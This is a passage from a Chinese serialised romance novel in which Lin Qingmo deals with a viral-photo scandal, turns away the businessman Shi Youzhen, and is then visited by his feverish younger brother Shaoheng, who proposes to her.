她年前参加外语学院演出的视频突然出圈,出圈的视频原本是一个剪辑的大杂烩,在娱乐板块的标题是《那些年外院的女神们》,最早是发在学校的校园内部论坛里,被搬到了视频平台网站,自然发酵加上吃流量的推手一搞,播放量竟然破了百万。 外语学院历年的校花们被校友们认出来很多,唯独混杂在其中的林清茉,很多人在视频下留言问是哪一级的学姐,愣是没有扒出来。 后来突然视频传播的风向就变了,不知道哪家传播公司买了个热搜固定位,点进去的第一条就是深扒高校校园出现的豪车科普,对于旁人都没有指名道姓,但是单独将林清茉的照片剪了出来,配的车是年前施友臻送给清茉开的跑车。 照片取景是六六的店铺门口,清茉都不太记得是哪次,照片中的她没有被打码,站在车旁。网友们联系外院校花的那条视频进行了关联,几乎是要走向人R的地步了。 买固定位的娱乐营销账号还主持了讨论话题,话题中已经有人在科普那辆车的情况,甚至有车友隐晦地提了融恒集团,毕竟在那个消费层级的车友群,扒到谁提了这个车型,不算是很难的事情,当时少衡就是看到车友拍的照片,才去六六店门口遇见了清茉。 清茉收到六六的简讯,才察觉到这个网络事件,而且导向性很明确,将她跟融恒集团捆绑到了一起,网上流言蜚语很多,施友臻最近要跟张嘉联姻的事情本来就被人津津乐道,已经有网友留言说“豪门联姻就是这样,各玩各的”。 六六有些担心,问清茉要不要处理,清茉觉得担心也没有用,一是她没有处理这个事件的能力,二是融恒要是觉得有妨碍,应该会很快处置。 果然热搜其实没固定几个小时,相关的视频和未打码的照片就已经被撤了下来,清茉猜不到是谁主导的,也或许就是为了吃流量赚钱的营销号,既然融恒这么快处置了,她就不必庸人自扰再去瞎想。 但是六六很快又打来了电话,让清茉再上网看看,说因为少衡在自己的账号上发了条澄清,好像热度又起来了。 清茉一听,隐约有很不怎么样的预感,点开六六发的链接,看到少衡用自己的账号,实名:“施少衡”的账号,发了一组照片,一张是他跟清茉在幼儿园毕业典礼上的合照,还有一张是年前跟少衡第一次吃饭的那次,施友臻来之前,少衡拥着清茉的肩膀,自拍了一张合照。 施少衡还配了文字解释:“很多朋友关心,澄清一下,我们是从小一起长大的很好的朋友。” 一件并不需要去过多解释的事情,少衡偏偏冒出来解释,画蛇添足的表态让事情更加复杂,林清茉甚至想,是不是真的影响了施友臻的联姻,所以才让少衡跳出来承担。这种权宜之策也不是不能理解,就是非常不舒服。 清茉当即给少衡拨去了电话,少衡倒是很快接了,清茉问他:“没必要发照片到网上吧。” 少衡解释道:“对公司有些影响,这样放明面上最直接。” 清茉指责道:“那你是不是该先问问我这个当事人的意见。” 少衡说着:“抱歉,茉茉,事出有因,牵扯到集团的一些情况,近期见面我会详细解释,融恒会控制好舆情,你安心就好。” 说是让清茉安心,少衡账号里有人留言问少衡,照片里的女生是不是他交往的对象,少衡回复人家:“不排除这种可能性。” 评论区又炸了锅,清茉无语地给少衡拨电话,对方没有接通。倒是恩永蹬着自行车火急火燎地直接奔过来,一脑门汗地急切切敲着清茉的门窗,清茉过去开门,恩永直接就问着:“姐,我们家族群里都要刷爆了,少衡哥什么情况?” 清茉心情并不好,她觉得少衡跟施友臻真的是越来越像,但是更像之前那个独断专行的样子,她不喜欢的样子,就没什么好气地说着:“你们融恒仗势欺人呗,说舆情影响到了公司,权宜之策就先把我拱了出去。” 恩永一想,解释道:“听说少衡哥最近会被任命集团副总裁,不知道有没有关系,我大哥呢?大哥怎么说。” 清茉:“你大哥没我电话号码,没得说。” 恩永:“……” 清茉给他拿了瓶冰镇矿泉水,恩永拧着瓶盖,小心翼翼问着:“那,要不,姐,你用我的拨过去聊一聊?” 清茉倒是心情转换得快,说着:“施友臻跟施少衡也没什么区别,反正我也不在国内,以后也没打算回去,爱怎么折腾怎么折腾吧,网友夸我一声美女我开心收下就是了。” 恩永乐:“心态这么好的吗?” 清茉:“你以后也滚远一点,再传下去,那就是我跟施友臻、施少衡、施恩永都交往过了,我网上开个投票,关注我账号才能投,把你们三人的照片放上去,让网友们投票选我跟哪一位交往,你猜我账号流量是不是得爆。” 恩永:“啊?那万一我得票最高怎么办?我最年轻最阳光哎!也很有希望!” 清茉:“对呀,姐姐们现在流行喜欢运动系小奶狗,姐看好你。” 恩永:“成!我现在就去学怎么做投票链接!压力给到大哥跟少衡哥了。” 清茉:“你们都滚的话,我可能更清静,谢谢。” 恩永:“姐,我跟他们不一样!等一下……大哥电话打过来了,姐,我要开公放吗?” 清茉:“不用,我不在意,走吧,我锁门了。” 恩永瞧着清茉脸色,女孩子怎么可能不在意,他站到门口接了施友臻电话,施友臻问了几句,少衡权衡着汇报道: “我听着,清茉姐有种翻篇了的感觉,没有不开心,也没有很开心,没有不在意,也没有很在意。哥,你要跟姐通话吗?你要不要问她要个电话号码?” 恩永怀疑自己听错了,施友臻在话筒那边好像微不可闻地叹了口气,这并不像施友臻的风格,恩永听到他说着:“不用,等她主动给我的时候再说吧,你稍微陪她一下,少衡发的那条,会删掉。” 恩永问着:“影响到公司了吗?” 施友臻否认:“没有。” 结束通话,恩永又想起来一些小时候的事儿,好像按照亲密程度,清茉姐小时候跟少衡哥更亲近。 恩永听施友臻的话,没着急走,进门陪着清茉聊天,八卦问着:“姐,那少衡哥有没有追过你啊?” 清茉觉得很难描述这种断档的、稀碎的、并没有很多真爱和尊重的感情,倒也不反感恩永好奇,就说着:“可能是对小时候感情的补偿心理吧,人跟人,其实很难做到同频共振,想要的时候不会得到,不想要的时候,硬塞也成了无趣。” 第75章 第七十五章 施少衡上任融恒集团副…… 施少衡上任融恒集团副总裁的重大事项, 在国内集团总部泛起一层层惊浪,流言蜚语四起,毕竟按照施少衡的资历, 并不是那么有资本胜任,但是一向公允的施友臻竟然也默许硬推,就非常好品味, 下面人都摇头叹息,评价着:说到底是家族企业。 惊涛传到海外, 已经变成了涟漪, 波纹的尾端没有多大动静, 恩永某天跟清茉聊天, 对人事变动多提了几句, 毕竟林清茉作为新任副总裁的绯闻女友,上过新闻。 恩永调侃着:“现在想跟二哥介绍对象的,估计比给大哥的还多, 听我妈八卦, 也不少打听你的呢,不过据说婶婶打马虎眼, 说你是二哥小时候玩伴, 二哥不想太早结婚, 随便拿你当幌子。” 清茉最近一直在准备新的课题,听着恩永在一旁絮叨, 仿佛在听旁人的故事, 点头表示赞同道:“你婶婶讲的应该也没错。” 恩永:“不过大哥二哥应该挺在意,我看网上关于你的新闻都删掉了,照片也全都清了,姐, 你还有什么困扰吗?我帮你去骂他哥俩。” 清茉:“得了吧,我看你也不像有那个胆子的。” 恩永最近要回国一段时间,估计小一个月,他也不知道为什么,离开清茉太久,好像总有种不放心的感觉,咬着冰饮的吸管,琢磨了一会,问着:“最近安排旅行吗?” 清茉摇头:“有好几个学术会议,估计没空去。” 恩永磨着吸管,半晌说着:“姐,你状态不对。” 清茉疑惑抬头看他,问着:“我状态挺好,怎么不对了?” 恩永没多说什么,临行前嘱咐道:“我那几个狐朋友狗,就上次在姐家里一起胡闹的那几个,姐都有联系方式吧,我回国这段时间,有事就支使他们去干,找公司里的人也行,我把总负责人的联系方式发给你。” 恩永说话间就把融恒办事处负责人的联系方式传了过来,清茉一看就很眼熟,是当初施友臻在邮件中留过的联系人。 恩永也算是一语成谶,倒也不是什么严重的事情,清茉有天晚上离开学校比较晚,路过融恒公司门口的时候发现一辆车车窗被敲了个大洞,隐约记得好像是融恒的车,清茉打电话给恩永,这家伙关机了,就干脆拨给了融恒的负责人。 对方接起电话有些疑惑,清茉说着:“你们的公务车好像被敲窗户偷了,要不要派人来看看?” 负责人项总感谢了一番,表示马上就派人过来,又问了一句:“您怎么称呼?会有我号码的应该是熟人朋友吧。” 清茉在车边等着,说道:“免贵姓林,恩永给的我联系方式。” 负责人脑子转得很快,笑道:“是不是跟恩永直播的小姐姐?哦,那就是熟人了,我们都是您直播间的粉丝,您还在那边吗?我直接过去吧,大概十五分钟,方便等吗?” 清茉担心再丢什么东西,就干脆继续等着了,这位项总十分钟就开车过来了,下车热络说着:“这也赶上一次被砸车窗了,车里应该没什么,感谢感谢,要不要去楼上坐坐,恩永的朋友就是我们融恒的朋友。” 清茉瞧着融恒的办公楼,确实没有进去过,但是摇头道:“没关系,下次吧。” 项总欲言又止,清茉突然问了句:“融恒在附近城市,都有办事处吗?” 项总摇头道:“没,这个国家就这一处,毕竟国家不大嘛,都没咱一个省大。” 清茉谢过,心里想着,那要不要换一个城市,到处都有融恒的人,好烦,干脆再悄悄地搬到另外一个城市去吧。 晚上清茉做了个梦,在梦里看到一个陌生的女孩,长得跟自己一模一样,但是性格却截然相反,她梦到那个女孩在跟施友臻吵架,吵得很凶,有什么讲什么,在施友臻的办公室里大吵大闹,很张扬很直白,好像在骂施友臻跟张嘉订婚的事情。 梦里跟自己长得一模一样的女孩,穿的都是限定高定的珠光宝气,元气很满,中气十足,掐着腰指责施友臻始乱终弃,嫌弃张嘉是投机倒把,装模作样假淑女。梦里的女孩骂完之后又颐指气使地命令施友臻给她的珠宝公司增加投资,美其名曰需要调研创新的经费,还指着拍卖会册子上的昂贵原石,要施友臻出钱去拍下来。 梦里的施友臻好像很习惯了女孩的嚣张气焰,见怪不怪地稳稳坐在那里,专注听着,全盘照收,神态也是难得一见的宠溺和放松。 清茉还想在梦里多看施友臻几眼,梦就醒了。 像另一个平行空间里发生的故事。 清茉有点羡慕梦里的那个女孩,她小时候确实喜欢昂贵闪耀的宝石,信誓旦旦地许过愿,要成立自己的珠宝品牌,现在想,都是戏言了。 也不是不在意,但是更想逃避,毫无争取的念头,比起出走,好像面对更需要勇气,更何况是要主动争取。 梦醒了也就醒了,清茉倒是很擅长切割掉多余的情绪,反正现在高质量完成学业是第一顺位,女孩子把自己永远放在第一位,不会错。最近要出篇文章,查阅的文献工作量很大,沉浸到书籍资料之中,倒也脑子清净。 施友臻的第七次旅行,如期来到,原本也是有会议要耽误,施友臻推给了少衡主持,少衡查过施友臻的飞行信息,隐而不发,应下了。 施友臻并不管他,反正再次入住了酒店。恩永把林清茉的电话给了施友臻,施友臻原本都不想要,他还是固执地想让林清茉主动给,但是恩永坚持,并且说了句:“哥,你得再主动点,我姐状态不对。” 施友臻问怎么不对,恩永就避而不深谈了,反正就是让施友臻记下号码,去了就直接联系,别整些弯弯绕子。 施友臻这次倒是听了年轻人建议,但是打电话给林清茉的时候,却是讲的公事儿,在电话里说着:“是我。” 清茉接通之后一愣,听出了是谁,心跳加快,问他:“嗯,您好。” 施友臻开门见山,说着:“有空吗?来一趟融恒公司,给你介绍个团队,上次聊的项目,可以实施。” 清茉迟疑,说着:“只是幼稚的想法,我已经放弃了,谢谢一直还惦记着,我在学校,有点忙……” 施友臻:“好了,给你一个小时,到融恒给我电话。” 清茉:“……” 施友臻好像隐约,也理解恩永讲的不对劲是什么意思了。 清茉从学校图书馆赶过来,施友臻已经在公司门口等候了,恩永还没回来,他身边站着的,是那天的那位项总,清茉跟项总打招呼,施友臻皱眉:“认识?” 项总也意外,以为清茉路过,没想到她竟然是施友臻在楼下等了将近一个小时的人,但是掩盖下诧异,乐呵呵介绍道:“前几天公司车夜里被人砸了窗户,林小姐发现帮忙通知的。” 施友臻上下打量了下清茉,说着:“怎么大半夜还在外面游荡,这种事情不用管,安全第一。” 林清茉都还没跟施友臻打招呼呢,就被说教一番,怼回去道:“哦,那您是不是得派个保镖24小时跟着。” 讲完,突然就想起梦里那个嚣张跋扈的女孩样子,心里一激灵,踩了空似的空落落,抬眼看向施友臻,看他实实在在地站在自己的面前,有想伸手摸他脸颊的冲动,但是好像不可以。 施友臻这次过来,带了负责员工福利的综合办公室负责人,是个开朗精干的女士,已经在会议室等候,清茉跟着施友臻身后一起进屋,大家一起站了起来。 施友臻介绍道:“这位是林清茉。” 然后就介绍完了。 因为介绍人是施友臻,好像也没必要增添什么额外的话术,综合办公室的杨主管已经非常得体地接话道:“林小姐,您好,之前听施总说过您想做的项目,正好跟集团家庭福利计划吻合,我们最新统计了意愿调查,足球果然是第一球类运动,感兴趣的职工家庭非常多,报名热情超乎我们想象,都想趁着寒暑假带孩子参加俱乐部参观体验。” 施友臻稳坐在那里听着杨主管介绍情况,清茉有点赶鸭子上架的无助,她瞧了眼施友臻,说着:“抱歉,我觉得贵集团自己就可以很好地完成项目运作,不需要我从中间再插一道手,而且我最近学业有些忙,并没有想再继续这个项目。” 杨主管跟项总均是一愣,这么当面拂施友臻面子的人,好像第一次见,俩人都去看向施友臻,施友臻也沉默不语,林清茉站起来再次抱歉道:“耽误大家时间了,抱歉。” 她讲完就要往外走,施友臻也站了起来,没拦着,但是跟着清茉的身后,等一起下了楼,才问她:“又怎么了?上次是我讲得太重,我道歉。方案可以实施,为什么不试试。” 清茉转身瞧着他,问着:“你一次一次来找我,是想干嘛?” 施友臻觉得眼下的氛围并不是表白的氛围,但是如果不讲,好像就错过更多,他反问:“你觉得,我为什么大费周折一次又一次过来?” 清茉又想起了那个梦,如果是平行空间里的那个女孩,此刻会怎么做,会吵闹一场吧,或者是一个大方方的拥抱和深吻。 可惜不是梦里,清茉说着:“算了吧,下次不要过来了,你再这样,我就搬到另外一个城市了,我不想搬家了,一直搬来搬去很疲惫,我觉得,哥,我跟你不合适,现在不合适,未来也不合适,你上次讲得其实都对,戒断一下,就过去了,咱们各自过各自的安静日子吧。” 施友臻彻底明白了恩永讲的不对劲是什么意思了。 确实不对劲。 不过有些事情看起来曲折无解,但其实并不复杂,施友臻圈了林清茉的手腕,清茉甩了甩,没有甩开。 第76章 第七十六章 第七十六章 施友臻…… 第七十六章 施友臻陪伴清茉往回走, 异国的街道,因为来的次数已经不少,恍然也像存在身边的熟悉, 只是身边本该最熟悉的人,若即若离保持着戒备遥远的姿态。 第七次长途跋涉的旅游之后,施友臻笃定还是有第八次, 第九次,第十次, 然后更多, 累积的航程好像能解决一些问题, 好像又完全不能。 他看着领先他半步走在前面的清茉, 女孩固执地用半个身位的距离保持安全感, 施友臻看着清茉清清瘦瘦的背影,想着如果突然给予一个拥抱,会不会消融掉一部分岁月的隔阂, 恍然间看着近在咫尺的她, 突然又想到清茉独自到世界尽头旅游的影像。 她是抱着什么样的心态,喊出生即生, 死即死的感言, 又为什么非要说这种话。施友臻迟钝地, 心惊地,后知后觉地想到, 这并不是什么潇洒的好话, 是一个悲观消极放弃追逐和争取的气馁宣泄。 所以恩永说林清茉不对劲。 世上可以很热闹,人也可以假装潇洒地融入这些个热闹的背景之中,不再患得患失,可以享受平静的日子, 不会再争取,也不会再接受。 施友臻拉住林清茉的手腕,皮肤还是细腻微凉的触感,虎口握住,盈盈一握,施友臻的人生中,几乎没有遇到过什么解不开的难题,现在算是有了,因为再炽热的单方面的感情,都不能真的去强求对方给予。 清茉停住脚步,半侧着身子回头看施友臻,仰望的眸眼带着几分困惑和躲闪,很快又垂下了眼帘,说了句不想干的话:“要下雨了。” 施友臻仰头望向天空,把原本想说的话置换成了别的,问着:“嗯,早晨看天气预报,确实有雨。”继而又跳出循环往复似的泥沼,开拓了新的语境,问着:“调研你创业构想的时候,看到附近就有一家俱乐部的青训营,明天联系了参观,一起?” 那片训练场地是这片社区孩子们向往的乐土,梯队培养很有名气,清茉偶尔碰到穿着队服的小朋友们赶去训练,她犹豫着是不是也要拒绝,施友臻又添了一句:“陪我一起看看?” 那是施友臻罕见的语气和神情,几分恳请和期许,清茉发现心跳骗不了人,她心跳得很快,不得不服气魔高一尺道高一丈,就算坚定地逃避和拒绝,心动的时候,心脏会给予正确答案。 鬼神神差就点了头,施友臻没有松手,仍旧圈着她的手腕,雨点零星落下,施友臻索性拉起她的手往前走,雨点密集了起来,施友臻脱下西装外套撑在清茉头顶,问她:“跑回去?” 清茉回神,忍笑道:“不用给我,跑就跑。” 离家其实已经不远,雨滴凉嗖嗖扑棱在脸上,施友臻到底快步又追了上来,把她圈在衣服底下,进到小院子的时候,雨帘已经很大了,清茉赶紧开门,两只落汤鸡都跑得喘息,清茉赶紧去取了毛巾给施友臻,平日里纹丝不乱的男人,难得也发丝凌乱。 清茉倒也没胡思乱想,去翻找了一会,拿出一件T,说着:“恩永上次打完球过来,落下的衣服,要不要换一下?” 施友臻对于清茉家里有其他男人衣服这件事,有点意外,很明显地目光从恩永的衣服扫到清茉的脸上,拒绝道:“不用。” 他去拨了个电话,然后催促清茉道:“你去换洗一下,不要着凉。” 清茉觉得正确的逻辑是,该问施友臻是不是该离开了,但是她又有点疲惫地想避开交锋的口舌和试探,就随着施友臻爱干嘛干嘛,她先去冲洗换衣服了。 约摸十几分钟后,清茉换好清爽的衣服从卧室出来,怕施友臻多想,家居服都没敢换,穿了套舒服的运动衣,寻思着施友臻会不会已经离开,抬眼就看到施友臻还穿着湿漉漉的衣服站在窗前,很专注地看着外面的雨。 衬衣勾勒施友臻男人的肌肉线条,清茉甚至清楚他身上的温度,胡思乱想着,门铃恰到好处地响了起来,清茉像得到了救赎,赶紧冲过去开门,虽然并不确定是谁在这个时候到来。 清茉拉开门,跟外面的项总大眼对小眼,项总打着大伞,拎着行李箱,疑惑问着:“您?施总……?” 施友臻走过来,清茉尴尬笑道:“对,在这里。” 施友臻取到了行李箱,对项总点头致谢,然后麻利地把房门关掉,心里不见得多美妙,也不见得多差,行动利落地直奔了一层客房浴室,清茉心里又蹦蹦蹦跳起来,去取了瓶冰镇饮料,脸颊烫烫的。 不知道是不是脸颊红得过于明显,施友臻洗澡出来,穿着他熨贴的家居服,自在得仿佛是他自己的领地,看着局促可疑的林清茉,问她:“本地有好看的电视节目吗?” 他坐到沙发上,闲适得仿佛就是这样一直生活过来的,反客为主已经在调试电视台寻找节目了。 这一幕似曾相识,清茉晃神。 施友臻好像一瞬间不再拘泥于试探、纠正,或者冒进,接受眼前的一切,包括清茉的危险心境,直到林清茉突然说了句: “接下来我要出差三个月,去北欧高校做个课题,三个月或者更久。” 施友臻出乎意料地很平静,仿佛是算计到了这种情况,只是点点头,说着:“嗯,北欧景色也不错。” 清茉今天注意力好像很不容易集中,或者这样松弛相处的施友臻让她完全也松掉了那口紧绷的气儿,她也坐到沙发的一侧,说着:“就是冬天会很冷。” 施友臻:“可以滑雪,三个月能练得不错。” 清茉:“也是,户外运动会上瘾,最近太忙,没怎么运动。” 施友臻:“小时候你倒是挺懒,半步不想多走。” 清茉:“你时间很充足吗?我的意思是,接下来不用特意飞过来,我不在这边,还有,你还不回去吗?” 施友臻盯着林清茉的眼睛,直视间像要索取一个答案,又像决定直接吞噬。清茉心跳加快,脑子乱哄哄,害怕接招。 施友臻却浅笑一下,像胜利将领对敌军的蔑视,他轻巧站起来,说着:“客房借宿一晚,你想要什么的话,自己过来。” 清茉:“?”被戏耍了似的,她也站起来,小声嘀咕着:“行不行?” 施友臻站在客房门口,突然问了句:“恩永在这里睡过吗?” 清茉:“所以?” 第77章 第七十七章 恩永好像确实在这里睡过,…… 恩永好像确实在这里睡过, 一群半大小子咋咋呼呼搀和着直播,清茉就放任他们在这里玩闹休息了。被施友臻一提,清茉恍惚, 明明出国也没多长时间,怎么像已经过去了很久。 最近忙着学业上的事情,直播都没空策划内容, 账号里的粉丝每天都在催,恩永还充当着客服, 去回复了好多次, 最近恩永也回国忙去了, 直播的日子就更往后推了。 清茉想起恩永, 带了笑意, 问施友臻:“你们家教育的孩子都很有个性,恩永情商智商都很高。” 施友臻估计没想到话题发展到夸奖恩永身上,抬眼扫了清茉一下, 继续问着刚才的话题:“我睡哪里?” 清茉犹豫了一下, 试探问着:“哥,要不, 你回酒店吧, 我陪你走回去, 我们,就这样吧, 不要再纠缠了。” 有时候, 就是这样,看着像是有很多很多选择,很多很多条路,但只是错觉, 清茉站在窗前看着外面的雨,仍旧淅淅沥沥弥漫天际。 所以很遗憾,就算是气氛已经到位的独处环境,这里也没有爆发激烈的拥吻,更没有激情中的一夜缠绵,雨水弥漫中,沉默也在弥漫。 施友臻离开的时候,留下了他的不解,但还是维持了体面,他问清茉:“没想到,你会这么不愿意。” 执着和放弃,何尝不是一念之间。 施友臻从旖旎的夜晚中抽离得很冷静,他对清茉说:“说到底,不能强迫你,但是也没有承诺可以一直等你,清茉,你想清楚了吗?” 清茉也觉得自己需要表达清楚,点头说着:“嗯,我还是更喜欢自己独处生活,讨厌把感情寄托到谁身上,也讨厌在感情里患得患失。哥,算了吧,我不想费力气去经营一段感情,抱歉,比起爱情的幻想,我更害怕亲密关系里的伤害,宁可没有。” 施友臻:“我也不可以?” 清茉:“喜欢也没喜欢到可以飞蛾扑火的程度。” 施友臻沉默了一会,点头说着:“好。”倒也说不上伤自尊,林清茉的态度不是向来如此的嘛,逃避是态度,回绝是态度,往前走一步的永远都是施友臻,但是说到底,她不愿意,又还有什么办法呢。 倒也没必要再将行李运回酒店,施友臻订了连夜返程的票,没有直航,还要中途转机,就算这样,林清茉也没有松口让施友臻留宿一晚,施友臻临行前都被气笑了,骂她:“太狠心了丫头。” 送走施友臻,林清茉那天夜里吃了两粒安定片才睡着。 不做选择,就不会后悔。 后续的事情,还是从恩永的口中听说一二,恩永说这边项总跟他打听,怎么老板前半夜来,后半夜走,忙忙叨叨一晚上,据说去机场的路上相当低气压,问跟你什么关系呢,看着像吵架了。 恩永给清茉带了好多国内的特产,堆满了一个餐桌,聊这个话题的时候,清茉正在给他做培根蛋炒饭,盛出来满满一盆端恩永面前。恩永八卦问着:“到底怎么了?大哥回去倒是看不出来什么,不过听总裁办的人讲,他取消了休长假,原本是打算跟你一起过的吗?真吵架了?” 林清茉不想继续这个话题,简短总结说着:“我跟你大哥,原本也没开始,谈不上吵架,就是把话讲开了,没必要再这样,演什么苦情戏似的。我跟他讲,我还是喜欢自己一个人过日子,他应该理解接受了。” 恩永举着大勺子滞空,无语道:“至于吗?你们玩柏拉图还是虐恋情深?” 林清茉笑了一下,说着:“应该也没多情深吧,理智永远占据上风的话,就是没有情深。” 恩永无语:“我服了,大哥怎么说?” 林清茉:“没怎么说。” 恩永:“姐,说句不该说的,要是绯闻是真的,要不你还是跟少衡哥谈恋爱吧,你比较适合被他搞强制爱。” 清茉皱眉:“扯少衡干嘛?” 恩永八卦问着:“姐,他们说的是真的吗?你跟少衡才是一对,大哥是插足吗?所以你才不接受大哥?哇哦,刺激。” 清茉抬手揍他:“你怎么不去写小说?” 恩永来待了几天又要匆匆回国,临回国的那天过来跟清茉告别,说着:“姐,我这次回去,估计很长时间不会再过来了,这边的办事机构,听风声是要裁撤合并到别的国家,总部还没给最终意见。” 好像在国外待久了,更看淡这些聚散离合,缘分深的时候像命运羁绊,缘分浅的时候,像再也不会见面,清茉拍了拍恩永肩膀,说着:“那就祝你事业有成一帆风顺,我下个月也要搬走了,去北欧做个课题,可能要很长时间。” 恩永点点头,说着:“那边的鬼天气挺抑郁,姐你随时给我打电话聊天呗。” 跟恩永的告别,都比跟施友臻的复杂十倍,提前聚餐了一次,也去机场送了,还给恩永亲手做了飞机上吃的三明治,登机前恩永深深拥抱了清茉,说着:“姐,要坚持户外运动,注意休息,尽量少吃助眠的药物。” 清茉笑着跟他摆摆手。 融恒集团的派驻机构,真的裁撤取消了,清茉遇到一次项总,项总客气地跟清茉打招呼,说他终于结束了外派,可以回国跟老婆孩子团聚了,但是又很有礼貌的没有多问清茉,只是说还会留着几个联络员过渡,都是年轻人,搬搬东西的活儿可以来招呼人。 好像一切又恢复到了曾经的秩序,清茉松口气,她的生活中,不必再出现“施”这个姓氏。 清茉很快搬到北欧的高校继续课题,校园很平静,生活也很安静,但是她仍旧需要借助安眠的药物入睡,没有恩永在身边聒噪,她的主动社交锐减,每天住所、办公室两点一线,顶多再去趟超市。 偶尔也会录制做饭的视频,不过已经不再直播了,粉丝们倒是喜欢看她每天在异国他乡的随行拍摄视频,鉴于清茉近来连在视频里的配音都不做了,好多人留言让清茉多讲讲话,说这里的天气太容易让人抑郁,离得近的还有想过来跟清茉见面的。 清茉坐在积满白雪的河边,偶尔会走神地想东想西,最终发呆地看着水面。 她没有更换号码。 施友臻已经三个月彻彻底底没有联系。 账号里有人问清茉最近怎么不旅行,也不徒步了,清茉回复:“提不起兴趣,没找到很想去的地方。” 课题进展得非常顺利,可能比预期结束得要早,清茉婉拒了同学的旅行邀请,窝在住处哪儿都没去。 黑白颠倒过了几天,冰箱里已经什么都没了,清茉去冲了个澡,准备去超市采购些食材,刚换好衣服,听见门铃声响。 清茉以为是邻居,去开门看到门口外面站着的人,愣了一下,仔细认了认,才张嘴,问他:“少衡?” 施少衡轻声“嗯”了一声,没客气,直接进来屋子。 清茉还要问什么,少衡突然回身,低头轻吻了清茉,问她:“人总是会犯同样的错误,对吗?小时候想不明白为什么不去找你,天天懊恼,大了也是重复。” 清茉无语:“朋友,发什么神经。” 少衡:“我们结婚吧。” 第78章 第七十八章 其实跟施友臻断掉联系…… 其实跟施友臻断掉联系的同时, 也没有跟少衡联系,就连恩永也是断断续续避免过多牵扯,清茉瞧着眼前发神经的少衡, 还是把他请进屋,少衡抽出一张红色请帖,递给清茉, 然后一屁股踏实坐到清茉的简易沙发上,打量着四周。 清茉疑惑地接过请帖, 打开一看, 竟然是六六的结婚请帖, 新娘的位置上写的是六六的本名, 新郎的那里, 写着“焦阳”。 清茉平日里倒是跟六六没断联系,但是六六从来没提过结婚的事儿,清茉心里还是挺惊讶, 问少衡:“焦阳是谁?是老焦吗?六六男朋友不是设计师丹尼吗?” 少衡不知道为什么, 眼睛有点红,像是休息不好布满血丝, 说着:“轻舟已过万重山。”又补了句:“天上一天, 地上一年。” 清茉就明白了, 问少衡:“六六托你带过来的?” 少衡点头,清茉看他瘫在沙发上眼巴巴的样儿, 骂他:“你也别跟条求表扬的狗似的, 我看你把买头等舱飞过来的机票钱包成红包给六六她更开心。” 清茉把请帖拍照,发给六六,留言写着:“收到请帖了,有空电话聊呗。” 六六秒回:“别问, 是朋友就回国参加婚礼,什么都别问,问就是LOVE。” 清茉回头瞧了眼少衡,想着自己的朋友可能都是有点疯。还是尽地主之谊给少衡拿了瓶水,问他:“六六跟你熟到这地步了?” 少衡:“我威胁她不把你地址给我,就搞黄她的新店。” 清茉:“……” 少衡拉住清茉手腕,问她:“你已经听不懂中文了吗?还是自动过滤最重要的信息?我说要跟你结婚。” 清茉:“我这儿没赘婿给你当,家底浅薄,家徒四壁,多一张嘴都养不起。” 少衡脸上带了笑,有小时候使坏的邪劲儿,抓着清茉的手腕不松开,孩童似的摇晃着,嘴巴里的话仍旧不讨喜,说着:“你跟我哥,闹掰了吧,老死不相往来了吧,挺好,我心里很爽。” 少衡:“前段时间,我哥突然有意放权,把我强推到副手的位置上,我刚开始还以为他终于认可我,心里还挺高兴。结果,他是想退一段时间,准备出国跟你生活。你俩这完全是背着我搞,我是被戴绿帽子的心情你知道吗?” “那句说怎么说的来着,人人都骂我不争气,我还真是不争气,主导的项目出了问题,投资失误亏了很多钱,很多很多,能拖垮家底的那种。我哥知道之后,一个字儿没骂我,闷头去处理,人跟人的差距,就是大到不承认都不行,我从小处处被他压一头,面儿上不说,心里一直不服,现在服了,人跟人就是没法比的,他就是比我强,各方面都是。” “融恒还是他的,我没脸再待了,就怕富二代创业讲的就是我,我就是当纨绔的命,也挺好,只要不给我哥添乱,钱根本花不完。” “不过,我哥应该跟你没联系了吧,那咱俩过呗,咱俩从小能玩到一块,说白了都是一路货色,我知道你为什么不愿意跟我哥在一块,你潜意识里怕被再抛弃一次吧,那就跟我在一起好了,我好无聊,连个好好说话的人都没有,只有跟你我什么都想说。” “茉茉,咱俩在一起挺好的,咱俩都没那么爱,就不用担心分开,今天分也行,明天也可以,后天也可以,我哥太体面,心也狠,我敢打赌,他决定跟你断掉关系,那就是一定断了,跟我结婚的话,年节家庭聚会,搞不好还能见到我哥,怎么样,豪门扭曲变态的大戏,一起玩吗?” 清茉觉得施少衡握着她手腕的掌心滚烫,抬了另一只手摸了摸少衡额头,很烫,清茉说着:“发烧了祖宗,别说疯话了,我就当全部没听到。” 少衡不依不饶:“就不,我很不开心,想全世界都毁灭,拉不到别人,想拉你一起。” 清茉:“滚。” 少衡松了手,清茉也是个强心脏,或者也是太了解少衡,现在发烧的他,跟幼儿园时期胡闹的肉包子小屁孩没什么两样,八卦着问道:“你投了什么项目亏损这么多?亏了多少?” 少衡松开手,有气无力道:“投资地产爆雷被连环殃及了,别提了,心窝疼,我哥虽然没骂我,还不如骂我一顿,对人失望透顶的时候才会不言语,真的,还不如揍我一顿,我现在想起来我哥当时看我的眼神,半夜都能一身冷汗惊醒。” 清茉笑,无意似的说了句:“咱俩从小就怕他。”说完自己也愣了,笑容僵在脸上。 少衡识破,讽刺说着:“呵,所以要跟我结婚,气他。” 清茉:“你可真是太聪明了,真结,别怂。”去找出退烧药,给少衡重新倒了杯热水:“先吃个退烧药看看能不能退烧,住附近酒店吗?” 少衡:“没,行李都没带。” 清茉:“……” 清茉这个简陋的单人间只有一张床,她让发烧的少衡先去躺下,她出去给少衡买件睡衣,问少衡想吃什么,少衡嘟嘟囔囔说着:“恩永那混蛋说你做什么都好吃,茉茉你是不是把对我的爱转嫁到了恩永身上?我哥估计看他也不顺眼,把驻外机构也一起整治了,他家好多暗地里的事儿都被我哥清算了,几个长辈气坏了到处告状。” 清茉瞧着烧得双颊红彤彤的小祖宗,倒也不排斥八卦,一边穿着外套一边问:“我看你要把你们家族隐秘都抖出来,多喝点水,我估计半个小时回来,也可能一个小时。” 清茉急匆匆去旁边商场买了套男士家居服,家里只剩苏打水跟苏打饼干,又买了些吃的,拎着沉甸甸的袋子往回赶,进门家里安安静静,少衡睡着了,发了一脑门汗,正在自己发汗退烧。 果然强壮如牛的人自己会痊愈。 清茉自己倒是觉得累了,抱了床毯子在沙发上发呆,迷迷糊糊也睡着了,被冻醒的时候睁眼看见少衡光着膀子在喝水,小时候薄,现在是男人的厚,是个看起来可靠的草包。 